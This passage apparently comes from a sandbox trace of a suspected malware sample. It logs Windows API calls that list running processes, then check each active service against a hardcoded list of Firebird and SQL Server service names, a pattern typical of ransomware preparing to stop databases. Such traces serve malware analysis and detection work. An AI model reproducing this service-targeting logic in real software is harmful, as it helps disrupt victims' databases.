th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0225.761] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0225.761] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0225.762] lstrlenW (lpString="Memory Compression") returned 18 [0225.762] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0225.762] lstrlenW (lpString="taskhostw.exe") returned 13 [0225.762] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0225.762] lstrlenW (lpString="userinit.exe") returned 12 [0225.762] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.763] lstrlenW (lpString="explorer.exe") returned 12 [0225.763] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0225.763] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0225.763] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0225.763] lstrlenW (lpString="SearchUI.exe") returned 12 [0225.763] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0225.764] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0225.764] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0225.764] lstrlenW (lpString="mobsync.exe") returned 11 [0225.764] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0225.764] lstrlenW (lpString="winhost.exe") returned 11 [0225.764] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0225.765] lstrlenW (lpString="cmd.exe") returned 7 [0225.765] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0225.765] lstrlenW (lpString="conhost.exe") returned 11 [0225.765] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0225.765] CloseHandle (hObject=0x44c) returned 1 [0225.765] Sleep (dwMilliseconds=0x1f4) [0226.510] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb350 [0226.510] EnumServicesStatusExW (in: hSCManager=0x40eb350, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0226.510] GetLastError () returned 0xea [0226.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1ac4) returned 0x40d7c88 [0226.523] EnumServicesStatusExW (in: hSCManager=0x40eb350, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40d7c88, cbBufSize=0x1ac4, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40d7c88, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0226.534] CloseServiceHandle (hSCObject=0x40eb350) returned 1 [0226.534] lstrlenW (lpString="AppXSvc") returned 7 [0226.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0226.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0226.534] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0226.534] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0226.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0226.535] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0226.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.535] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0226.535] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0226.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0226.535] lstrlenW (lpString="Audiosrv") returned 8 [0226.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0226.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0226.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0226.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0226.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0226.535] lstrlenW (lpString="BFE") returned 3 [0226.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0226.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0226.535] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0226.535] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0226.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0226.535] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0226.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0226.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0226.535] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0226.535] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0226.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0226.535] lstrlenW (lpString="CDPSvc") returned 6 [0226.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0226.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0226.535] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0226.535] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0226.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0226.535] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0226.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0226.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0226.535] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0226.535] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0226.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0226.535] lstrlenW (lpString="CryptSvc") returned 8 [0226.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0226.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0226.535] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0226.536] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0226.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0226.536] lstrlenW (lpString="DcomLaunch") returned 10 [0226.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.536] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0226.536] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0226.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0226.536] lstrlenW (lpString="DeviceAssociationService") returned 24 [0226.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0226.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0226.536] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0226.536] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0226.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0226.536] lstrlenW (lpString="Dhcp") returned 4 [0226.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0226.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0226.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0226.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0226.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0226.536] lstrlenW (lpString="Dnscache") returned 8 [0226.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0226.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0226.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0226.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0226.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0226.536] lstrlenW (lpString="DPS") returned 3 [0226.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0226.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0226.536] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0226.536] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0226.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0226.536] lstrlenW (lpString="DusmSvc") returned 7 [0226.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0226.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0226.536] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0226.536] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0226.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0226.536] lstrlenW (lpString="EventLog") returned 8 [0226.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0226.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0226.536] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0226.537] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0226.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0226.537] lstrlenW (lpString="EventSystem") returned 11 [0226.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0226.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0226.537] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0226.537] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0226.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0226.537] lstrlenW (lpString="FontCache") returned 9 [0226.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0226.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0226.537] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0226.537] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0226.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0226.537] lstrlenW (lpString="gpsvc") returned 5 [0226.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0226.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0226.537] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0226.537] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0226.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0226.537] lstrlenW (lpString="iphlpsvc") returned 8 [0226.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0226.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0226.537] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0226.537] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0226.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0226.537] lstrlenW (lpString="KeyIso") returned 6 [0226.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0226.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0226.537] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0226.537] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0226.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0226.537] lstrlenW (lpString="LanmanServer") returned 12 [0226.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0226.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0226.537] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0226.537] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0226.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0226.537] lstrlenW (lpString="LanmanWorkstation") returned 17 [0226.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.537] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0226.538] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0226.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0226.538] lstrlenW (lpString="lfsvc") returned 5 [0226.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0226.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0226.538] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0226.538] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0226.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0226.538] lstrlenW (lpString="lmhosts") returned 7 [0226.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0226.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0226.538] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0226.538] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0226.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0226.538] lstrlenW (lpString="LSM") returned 3 [0226.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0226.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0226.538] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0226.538] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0226.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0226.538] lstrlenW (lpString="MpsSvc") returned 6 [0226.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0226.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0226.538] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0226.538] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0226.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0226.538] lstrlenW (lpString="NcbService") returned 10 [0226.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0226.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0226.538] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0226.538] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0226.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0226.538] lstrlenW (lpString="netprofm") returned 8 [0226.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0226.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0226.538] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0226.538] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0226.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0226.538] lstrlenW (lpString="NgcSvc") returned 6 [0226.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0226.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0226.538] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0226.538] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0226.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0226.539] lstrlenW (lpString="NlaSvc") returned 6 [0226.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0226.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0226.539] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0226.539] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0226.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0226.539] lstrlenW (lpString="nsi") returned 3 [0226.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0226.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0226.539] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0226.539] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0226.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0226.539] lstrlenW (lpString="PcaSvc") returned 6 [0226.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0226.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0226.539] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0226.539] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0226.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0226.539] lstrlenW (lpString="PlugPlay") returned 8 [0226.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0226.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0226.539] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0226.539] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0226.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0226.539] lstrlenW (lpString="Power") returned 5 [0226.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0226.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0226.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0226.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0226.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0226.539] lstrlenW (lpString="ProfSvc") returned 7 [0226.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0226.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0226.539] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0226.539] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0226.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0226.539] lstrlenW (lpString="RpcEptMapper") returned 12 [0226.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.539] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0226.539] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0226.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0226.540] lstrlenW (lpString="RpcSs") returned 5 [0226.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0226.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0226.540] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0226.540] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0226.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0226.540] lstrlenW (lpString="SamSs") returned 5 [0226.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0226.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0226.540] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0226.540] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0226.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0226.540] lstrlenW (lpString="Schedule") returned 8 [0226.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0226.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0226.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0226.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0226.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0226.540] lstrlenW (lpString="SecurityHealthService") returned 21 [0226.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0226.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0226.540] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0226.540] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0226.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0226.540] lstrlenW (lpString="SENS") returned 4 [0226.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0226.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0226.540] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0226.540] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0226.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0226.540] lstrlenW (lpString="ShellHWDetection") returned 16 [0226.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.540] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0226.540] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0226.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0226.540] lstrlenW (lpString="Spooler") returned 7 [0226.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0226.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0226.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0226.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0226.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0226.540] lstrlenW (lpString="StateRepository") returned 15 [0226.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0226.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0226.541] lstrcmpiW 